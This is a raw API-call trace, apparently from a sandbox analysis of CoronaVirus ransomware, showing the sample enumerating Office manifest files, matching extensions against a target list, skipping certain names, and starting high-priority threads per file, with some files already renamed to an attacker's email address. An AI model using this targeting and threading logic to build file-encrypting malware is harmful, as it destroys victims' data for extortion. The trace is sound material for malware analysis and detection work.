	[0088.392] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc1a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x740
	[0088.396] SetThreadPriority (hThread=0x740, nPriority=15) returned 1
	[0088.398] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.398] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.398] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.398] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.399] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.400] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.400] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.400] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.400] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.400] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.400] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.400] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.400] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.400] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.400] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.400] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.400] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.401] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.401] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.401] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.401] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.401] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.404] malloc (_Size=0x1000) returned 0x2fc0a08
	[0088.404] _swprintf (in: param_1=0x2fc0a08, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0088.404] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.404] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.404] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc0a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x744
	[0088.405] SetThreadPriority (hThread=0x744, nPriority=15) returned 1
	[0088.407] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.407] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.407] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.408] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.408] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.408] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.409] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.409] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.409] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.409] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.409] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.409] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.409] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.409] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.409] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.409] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.410] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.410] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.410] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.413] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.413] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.413] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.413] malloc (_Size=0x1000) returned 0x2fc0a08
	[0088.413] _swprintf (in: param_1=0x2fc0a08, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0088.413] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.413] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.413] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc0a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x748
	[0088.414] SetThreadPriority (hThread=0x748, nPriority=15) returned 1
	[0088.416] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.416] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.418] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.418] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.418] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.418] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.418] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.418] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.418] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.418] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.418] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.418] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.418] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.418] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.418] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.418] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.418] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.419] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.419] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.419] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.422] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.422] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.422] malloc (_Size=0x1000) returned 0x2fc0a08
	[0088.422] _swprintf (in: param_1=0x2fc0a08, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0088.422] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.422] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.422] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.422] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc0a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c
	[0088.423] SetThreadPriority (hThread=0x74c, nPriority=15) returned 1
	[0088.425] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.425] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.425] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.425] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.425] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.425] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.425] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.425] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.425] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.425] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.431] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.431] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.431] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.431] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.431] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.431] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.431] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.431] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.431] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.431] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.431] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.437] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.437] malloc (_Size=0x1000) returned 0x2fc1a10
	[0088.437] _swprintf (in: param_1=0x2fc1a10, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0088.437] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.437] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.437] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.437] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc1a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754
	[0088.602] SetThreadPriority (hThread=0x754, nPriority=15) returned 1
	[0088.606] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.606] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.606] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.606] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.606] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.606] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.606] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.606] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.606] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.606] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.606] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.606] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.606] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.606] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.606] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.606] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.606] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.606] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.606] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.606] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.606] _wcslwr (in: _String=0x3157656 | out: _String=".xml") returned=".xml"
	[0088.606] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.606] malloc (_Size=0x1000) returned 0x2fc5a30
	[0088.607] _swprintf (in: param_1=0x2fc5a30, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0088.607] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.607] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.607] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc5a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x760
	[0088.607] SetThreadPriority (hThread=0x760, nPriority=15) returned 1
	[0088.625] _wcslwr (in: _String=0x315761a | out: _String=".xml") returned=".xml"
	[0088.625] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.625] _wcslwr (in: _String=0x315761a | out: _String=".xml") returned=".xml"
	[0088.625] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.625] _wcslwr (in: _String=0x315761a | out: _String=".xml") returned=".xml"
	[0088.625] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.625] _wcslwr (in: _String=0x315761a | out: _String=".xml") returned=".xml"
	[0088.625] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.625] _wcslwr (in: _String=0x315761a | out: _String=".xml") returned=".xml"
	[0088.625] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.625] _wcslwr (in: _String=0x315761a | out: _String=".xml") returned=".xml"
	[0088.625] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.625] _wcslwr (in: _String=0x315761a | out: _String=".xml") returned=".xml"
	[0088.625] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.625] _wcslwr (in: _String=0x315761a | out: _String=".xml") returned=".xml"
	[0088.625] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.625] _wcslwr (in: _String=0x315761a | out: _String=".xml") returned=".xml"
	[0088.625] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.625] _wcslwr (in: _String=0x315761a | out: _String=".xml") returned=".xml"
	[0088.625] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.625] _wcslwr (in: _String=0x315761a | out: _String=".xml") returned=".xml"
	[0088.625] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.625] malloc (_Size=0x1000) returned 0x2fc4a28
	[0088.625] _swprintf (in: param_1=0x2fc4a28, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0088.625] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.626] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", _SubStr="wasse") returned 0x0
	[0088.626] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", _SubStr="passw") returned 0x0
	[0088.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc4a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718
	[0088.626] SetThreadPriority (hThread=0x718, nPriority=15) returned 1
	[0088.630] _wcslwr (in: _String=0x315761e | out: _String=".xml") returned=".xml"
	[0088.630] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.630] _wcslwr (in: _String=0x315761e | out: _String=".xml") returned=".xml"
	[0088.630] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.630] _wcslwr (in: _String=0x315761e | out: _String=".xml") returned=".xml"
	[0088.630] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.630] _wcslwr (in: _String=0x315761e | out: _String=".xml") returned=".xml"
	[0088.630] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.630] _wcslwr (in: _String=0x315761e | out: _String=".xml") returned=".xml"
	[0088.630] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.630] _wcslwr (in: _String=0x315761e | out: _String=".xml") returned=".xml"
	[0088.630] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.630] _wcslwr (in: _String=0x315761e | out: _String=".xml") returned=".xml"
	[0088.630] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.631] _wcslwr (in: _String=0x315761e | out: _String=".xml") returned=".xml"
	[0088.631] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.631] _wcslwr (in: _String=0x315761e | out: _String=".xml") returned=".xml"
	[0088.631] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.631] _wcslwr (in: _String=0x315761e | out: _String=".xml") returned=".xml"
	[0088.631] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.631] _wcslwr (in: _String=0x315761e | out: _String=".xml") returned=".xml"
	[0088.631] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.631] malloc (_Size=0x1000) returned 0x2fc6a38
	[0088.631] _swprintf (in: param_1=0x2fc6a38, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0088.631] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.631] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", _SubStr="wasse") returned 0x0
	[0088.631] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", _SubStr="passw") returned 0x0
	[0088.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc6a38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x76c
	[0088.633] SetThreadPriority (hThread=0x76c, nPriority=15) returned 1
	[0088.635] _wcslwr (in: _String=0x3157618 | out: _String=".xml") returned=".xml"
	[0088.635] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.635] _wcslwr (in: _String=0x3157618 | out: _String=".xml") returned=".xml"
	[0088.635] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.635] _wcslwr (in: _String=0x3157618 | out: _String=".xml") returned=".xml"
	[0088.635] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.635] _wcslwr (in: _String=0x3157618 | out: _String=".xml") returned=".xml"
	[0088.635] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.635] _wcslwr (in: _String=0x3157618 | out: _String=".xml") returned=".xml"
	[0088.635] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.635] _wcslwr (in: _String=0x3157618 | out: _String=".xml") returned=".xml"
	[0088.635] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.635] _wcslwr (in: _String=0x3157618 | out: _String=".xml") returned=".xml"
	[0088.635] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.636] _wcslwr (in: _String=0x3157618 | out: _String=".xml") returned=".xml"
	[0088.636] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.636] _wcslwr (in: _String=0x3157618 | out: _String=".xml") returned=".xml"
	[0088.636] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.636] _wcslwr (in: _String=0x3157618 | out: _String=".xml") returned=".xml"
	[0088.636] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.636] _wcslwr (in: _String=0x3157618 | out: _String=".xml") returned=".xml"
	[0088.636] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.636] malloc (_Size=0x1000) returned 0x2fc7a40
	[0088.636] _swprintf (in: param_1=0x2fc7a40, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0088.636] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.636] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml", _SubStr="wasse") returned 0x0
	[0088.636] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml", _SubStr="passw") returned 0x0
	[0088.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc7a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774
	[0088.637] SetThreadPriority (hThread=0x774, nPriority=15) returned 1
	[0088.638] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.638] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.638] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.638] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.638] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.638] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.639] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.639] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.639] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.639] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.639] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.639] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.639] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.639] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.639] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.639] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.639] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.639] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.639] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.639] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.639] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.639] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.639] malloc (_Size=0x1000) returned 0x2fc8c68
	[0088.639] _swprintf (in: param_1=0x2fc8c68, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 133
	[0088.639] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.639] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.639] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc8c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c
	[0088.640] SetThreadPriority (hThread=0x77c, nPriority=15) returned 1
	[0088.642] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.642] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.642] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.642] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.642] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.642] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.642] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.642] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.642] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.642] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.642] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.642] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.642] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.642] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.642] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.642] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0088.642] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.642] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0088.642] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.643] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0088.643] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.643] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0088.643] malloc (_Size=0x1000) returned 0x2fc9e90
	[0088.643] _swprintf (in: param_1=0x2fc9e90, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 133
	[0088.643] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.643] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.643] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc9e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x784
	[0088.644] SetThreadPriority (hThread=0x784, nPriority=15) returned 1
	[0088.645] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.645] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.645] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.645] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
